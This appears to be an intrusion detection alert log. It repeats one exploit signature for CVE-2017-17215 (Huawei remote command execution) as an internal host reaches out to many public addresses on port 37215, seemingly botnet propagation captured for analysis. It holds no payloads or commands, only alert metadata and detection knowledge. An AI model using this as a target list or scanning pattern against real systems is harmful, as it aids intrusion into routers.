ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.162.249.163

Timestamp:	2024-07-26T17:42:24.317186+0200
SID:	2835222
Source Port:	60922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.243.165.185

Timestamp:	2024-07-26T17:42:30.811966+0200
SID:	2835222
Source Port:	38428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.144.55.235

Timestamp:	2024-07-26T17:42:22.862975+0200
SID:	2835222
Source Port:	55412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 172.114.80.126

Timestamp:	2024-07-26T17:42:24.287646+0200
SID:	2835222
Source Port:	54418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.30.1.118

Timestamp:	2024-07-26T17:42:22.851193+0200
SID:	2835222
Source Port:	33114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.179.166.250

Timestamp:	2024-07-26T17:42:54.213653+0200
SID:	2835222
Source Port:	35404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 151.71.194.23

Timestamp:	2024-07-26T17:43:24.299160+0200
SID:	2835222
Source Port:	39274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.51.180.248

Timestamp:	2024-07-26T17:42:32.910259+0200
SID:	2835222
Source Port:	38342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.29.11.215

Timestamp:	2024-07-26T17:42:03.751966+0200
SID:	2835222
Source Port:	55554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.43.30.179

Timestamp:	2024-07-26T17:42:22.878195+0200
SID:	2835222
Source Port:	46688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.5.58.57

Timestamp:	2024-07-26T17:43:06.796928+0200
SID:	2835222
Source Port:	52444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 86.12.52.246

Timestamp:	2024-07-26T17:42:24.803531+0200
SID:	2835222
Source Port:	52480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.47.63.84

Timestamp:	2024-07-26T17:42:38.562210+0200
SID:	2835222
Source Port:	35302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.116.64.233

Timestamp:	2024-07-26T17:42:22.960183+0200
SID:	2835222
Source Port:	50154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.253.227.205

Timestamp:	2024-07-26T17:42:44.230369+0200
SID:	2835222
Source Port:	41276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.120.137.83

Timestamp:	2024-07-26T17:42:52.054187+0200
SID:	2835222
Source Port:	42398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.29.129.149

Timestamp:	2024-07-26T17:42:24.312752+0200
SID:	2835222
Source Port:	43424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.232.155.118

Timestamp:	2024-07-26T17:43:10.556330+0200
SID:	2835222
Source Port:	50206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.190.102.105

Timestamp:	2024-07-26T17:42:03.752053+0200
SID:	2835222
Source Port:	44986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.214.37.126

Timestamp:	2024-07-26T17:42:24.312496+0200
SID:	2835222
Source Port:	52526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.106.7.159

Timestamp:	2024-07-26T17:42:03.752096+0200
SID:	2835222
Source Port:	49806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.94.112.33

Timestamp:	2024-07-26T17:42:22.936645+0200
SID:	2835222
Source Port:	39470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.10.215.35

Timestamp:	2024-07-26T17:42:22.956258+0200
SID:	2835222
Source Port:	57736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.134.183.139

Timestamp:	2024-07-26T17:42:32.907393+0200
SID:	2835222
Source Port:	42568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.150.27.214

Timestamp:	2024-07-26T17:43:24.648575+0200
SID:	2835222
Source Port:	53336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.195.53.49

Timestamp:	2024-07-26T17:42:30.889178+0200
SID:	2835222
Source Port:	32956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.236.80.139

Timestamp:	2024-07-26T17:42:54.209938+0200
SID:	2835222
Source Port:	34768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.85.199.246

Timestamp:	2024-07-26T17:43:26.448365+0200
SID:	2835222
Source Port:	55762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.164.74.42

Timestamp:	2024-07-26T17:42:24.287647+0200
SID:	2835222
Source Port:	43692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.198.44.15

Timestamp:	2024-07-26T17:42:38.401724+0200
SID:	2835222
Source Port:	41278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.17.31

Timestamp:	2024-07-26T17:42:03.751839+0200
SID:	2835222
Source Port:	52856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.13.86.225

Timestamp:	2024-07-26T17:42:42.040798+0200
SID:	2835222
Source Port:	50406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 145.129.134.173

Timestamp:	2024-07-26T17:43:12.180616+0200
SID:	2835222
Source Port:	45224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.6.116.163

Timestamp:	2024-07-26T17:42:03.663396+0200
SID:	2835222
Source Port:	57910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.73.141.211

Timestamp:	2024-07-26T17:42:23.590390+0200
SID:	2835222
Source Port:	57654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 219.209.44.35

Timestamp:	2024-07-26T17:42:24.211094+0200
SID:	2835222
Source Port:	37602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 123.29.130.155

Timestamp:	2024-07-26T17:42:24.304444+0200
SID:	2835222
Source Port:	47546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 87.217.154.96

Timestamp:	2024-07-26T17:42:31.050536+0200
SID:	2835222
Source Port:	36822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.58.129.177

Timestamp:	2024-07-26T17:42:23.661945+0200
SID:	2835222
Source Port:	39180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.73.62.49

Timestamp:	2024-07-26T17:42:03.751964+0200
SID:	2835222
Source Port:	48036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.52.30.157

Timestamp:	2024-07-26T17:42:40.395421+0200
SID:	2835222
Source Port:	44160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.124.217.212

Timestamp:	2024-07-26T17:43:24.816955+0200
SID:	2835222
Source Port:	38450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.140.239.75

Timestamp:	2024-07-26T17:42:44.373737+0200
SID:	2835222
Source Port:	52906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.53.239.53

Timestamp:	2024-07-26T17:42:22.851190+0200
SID:	2835222
Source Port:	40700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 9.66.190.137

Timestamp:	2024-07-26T17:43:22.215537+0200
SID:	2835222
Source Port:	43744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.118.168.225

Timestamp:	2024-07-26T17:42:56.991979+0200
SID:	2835222
Source Port:	44208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.80.244.131

Timestamp:	2024-07-26T17:43:13.057413+0200
SID:	2835222
Source Port:	38872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.112.4.97

Timestamp:	2024-07-26T17:42:22.882933+0200
SID:	2835222
Source Port:	36858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.252.248.3

Timestamp:	2024-07-26T17:42:16.209355+0200
SID:	2835222
Source Port:	39666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.38.164.85

Timestamp:	2024-07-26T17:43:24.642559+0200
SID:	2835222
Source Port:	35940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.33.117.57

Timestamp:	2024-07-26T17:43:10.561145+0200
SID:	2835222
Source Port:	47718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.138.69.95

Timestamp:	2024-07-26T17:43:12.001552+0200
SID:	2835222
Source Port:	60520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.102.119.57

Timestamp:	2024-07-26T17:42:32.905348+0200
SID:	2835222
Source Port:	54782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.48.31.6

Timestamp:	2024-07-26T17:42:56.395387+0200
SID:	2835222
Source Port:	55560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.122.214.135

Timestamp:	2024-07-26T17:42:27.005403+0200
SID:	2835222
Source Port:	59908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.85.30.83

Timestamp:	2024-07-26T17:43:19.293876+0200
SID:	2835222
Source Port:	41900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 140.99.164.85

Timestamp:	2024-07-26T17:42:30.951955+0200
SID:	2835222
Source Port:	39040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.132.202.43

Timestamp:	2024-07-26T17:42:37.657532+0200
SID:	2835222
Source Port:	60716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.235.52.121

Timestamp:	2024-07-26T17:43:32.382470+0200
SID:	2835222
Source Port:	41102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.134.35.140

Timestamp:	2024-07-26T17:42:23.591416+0200
SID:	2835222
Source Port:	49782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.73.37.14

Timestamp:	2024-07-26T17:42:56.281347+0200
SID:	2835222
Source Port:	58458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 118.145.42.61

Timestamp:	2024-07-26T17:43:29.552890+0200
SID:	2835222
Source Port:	53724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 42.24.106.31

Timestamp:	2024-07-26T17:42:24.516527+0200
SID:	2835222
Source Port:	47736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 102.33.27.18

Timestamp:	2024-07-26T17:42:05.211005+0200
SID:	2835222
Source Port:	52296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 125.231.27.41

Timestamp:	2024-07-26T17:43:32.267705+0200
SID:	2835222
Source Port:	56216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.6.19.134

Timestamp:	2024-07-26T17:42:03.751880+0200
SID:	2835222
Source Port:	60248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.109.120.79

Timestamp:	2024-07-26T17:42:38.409008+0200
SID:	2835222
Source Port:	42608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 171.192.88.224

Timestamp:	2024-07-26T17:43:10.506247+0200
SID:	2835222
Source Port:	40706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.60.77.72

Timestamp:	2024-07-26T17:43:10.727525+0200
SID:	2835222
Source Port:	54080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.54.55.248

Timestamp:	2024-07-26T17:43:10.502538+0200
SID:	2835222
Source Port:	48660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.161.220.253

Timestamp:	2024-07-26T17:42:58.930333+0200
SID:	2835222
Source Port:	35804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.34.240.11

Timestamp:	2024-07-26T17:42:38.337623+0200
SID:	2835222
Source Port:	41322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 118.47.10.71

Timestamp:	2024-07-26T17:42:04.832568+0200
SID:	2835222
Source Port:	50558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.10.62.126

Timestamp:	2024-07-26T17:43:10.506248+0200
SID:	2835222
Source Port:	42254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.54.31.69

Timestamp:	2024-07-26T17:42:03.751794+0200
SID:	2835222
Source Port:	37764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.227.157.81

Timestamp:	2024-07-26T17:42:22.856698+0200
SID:	2835222
Source Port:	49866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 18.189.172.188

Timestamp:	2024-07-26T17:42:23.275589+0200
SID:	2835222
Source Port:	55948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.131.40.89

Timestamp:	2024-07-26T17:42:31.222334+0200
SID:	2835222
Source Port:	58318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.146.84.206

Timestamp:	2024-07-26T17:42:38.337666+0200
SID:	2835222
Source Port:	50398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.201.127.15

Timestamp:	2024-07-26T17:42:03.751922+0200
SID:	2835222
Source Port:	58838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 75.5.125.48

Timestamp:	2024-07-26T17:42:03.752050+0200
SID:	2835222
Source Port:	60962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 78.13.212.84

Timestamp:	2024-07-26T17:42:23.591415+0200
SID:	2835222
Source Port:	34104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.142.153.220

Timestamp:	2024-07-26T17:42:22.947099+0200
SID:	2835222
Source Port:	56730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.54.253.40

Timestamp:	2024-07-26T17:43:00.391481+0200
SID:	2835222
Source Port:	40156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.94.139.173

Timestamp:	2024-07-26T17:42:35.410258+0200
SID:	2835222
Source Port:	50978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.230.120.15

Timestamp:	2024-07-26T17:42:38.337641+0200
SID:	2835222
Source Port:	52288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.171.58.37

Timestamp:	2024-07-26T17:42:24.512531+0200
SID:	2835222
Source Port:	35034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.159.70.12

Timestamp:	2024-07-26T17:42:24.256267+0200
SID:	2835222
Source Port:	52368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 128.137.178.219

Timestamp:	2024-07-26T17:42:56.381522+0200
SID:	2835222
Source Port:	38064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 118.140.180.3

Timestamp:	2024-07-26T17:43:10.506254+0200
SID:	2835222
Source Port:	40118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.76.158.173

Timestamp:	2024-07-26T17:42:24.296458+0200
SID:	2835222
Source Port:	46866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.198.181.13

Timestamp:	2024-07-26T17:42:24.303363+0200
SID:	2835222
Source Port:	53444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 102.56.88.186

Timestamp:	2024-07-26T17:42:22.891527+0200
SID:	2835222
Source Port:	50244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.42.157.0

Timestamp:	2024-07-26T17:42:38.391089+0200
SID:	2835222
Source Port:	45300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.182.11.167

Timestamp:	2024-07-26T17:42:24.303875+0200
SID:	2835222
Source Port:	51932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.252.22.173

Timestamp:	2024-07-26T17:42:24.318056+0200
SID:	2835222
Source Port:	53650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.82.194.171

Timestamp:	2024-07-26T17:43:02.491089+0200
SID:	2835222
Source Port:	43686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.243.171.88

Timestamp:	2024-07-26T17:42:24.257547+0200
SID:	2835222
Source Port:	52340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 199.177.172.209

Timestamp:	2024-07-26T17:42:24.513939+0200
SID:	2835222
Source Port:	59084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

